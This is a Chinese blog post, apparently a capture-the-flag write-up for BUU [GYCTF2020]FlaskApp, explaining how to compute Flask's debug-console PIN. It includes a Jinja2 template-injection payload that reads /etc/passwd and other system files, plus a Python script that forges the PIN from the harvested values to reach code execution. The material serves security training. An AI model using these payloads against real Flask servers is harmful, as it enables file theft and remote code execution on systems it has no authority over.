debug模式下pin码计算

pin码

pin码是 flask应用在开启debug的模式下,进入控制台调试模式下所需的进入密码

主要由六个参数构成

  • uesername ————>执行代码时候的用户名

路径

1
/etc/passwd
  • getattr(app,”name“,app.class.name) ————>固定值Flask
  • modname —————>固定值默认flask.app
  • getattr(mod,”file“,None) ————>app.py文件所在路径可以从报错页面获取
  • str(uuid.getnode()) ————>电脑在mac地址

路径

1
/sys/class/net/eth0/address
  • get_machine_id() ————> 机器的id(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'69027134868177',# str(uuid.getnode()), /sys/class/net/eth0/address
'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

machine-id

  • Linux:具体过程就是先找/etc/machine-id,如果有就去找/proc/self/cgroup进行拼接,如果没有就用/proc/sys/kernel/random/boot_id/proc/self/cgroup进行拼接
  • Windows:SOFTWARE\\Microsoft\\Cryptography内容

例题BUU[GYCTF2020]FlaskApp

传参e3s3Kzd9fQ==(14),解码后得到的结果发现是存在SSTI,用的模板是jinjia2

img

在hint提示的源码中可以看到有PIN,所以考察的可能是pin码

img

读取源码/app/app.py,发现debug模式是开启的

img

这里可以开始收集信息计算pin码

读取文件路径

1
/etc/passwd

payload

1
{{ url_for.__globals__.__builtins__.open('/etc/passwd').read() }}

img

得到系统用户名username

  • username:flaskweb
  • appname:应用名称(固定为Flask)
  • modename:模块名称(固定为flask.app)
  • 应用文件路径moddir(从系统报错信息中获取)

img

在报错中可以读到应用文件路径moddir

1
/usr/local/lib/python3.7/site-packages/flask/app.py
  • uuid:MAC地址(读取到的值需要去掉斜杠转成十进制)

读取路径

1
/sys/class/net/eth0/address

img

1
3e:c7:a1:da:8a:d1

转成十进制

1
2
3
mac = "3e:c7:a1:da:8a:d1"
print(int(mac.replace(':', ''), 16))
#print(int('0a5593825677', 16))

img

1
69027134868177
  • machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)

这里读取路径

1
2
/etc/machine-id
1408f836b0ca514d796cbf8960e45fa1

用脚本算一下pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'69027134868177',# str(uuid.getnode()), /sys/class/net/eth0/address
'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

img

img

然后就可以执行SSTI了

img


debug模式下pin码计算
https://colourful228.github.io/2026/06/02/debug模式下pin码计算/
作者
Colourful
发布于
2026年6月2日
更新于
2026年6月2日
许可协议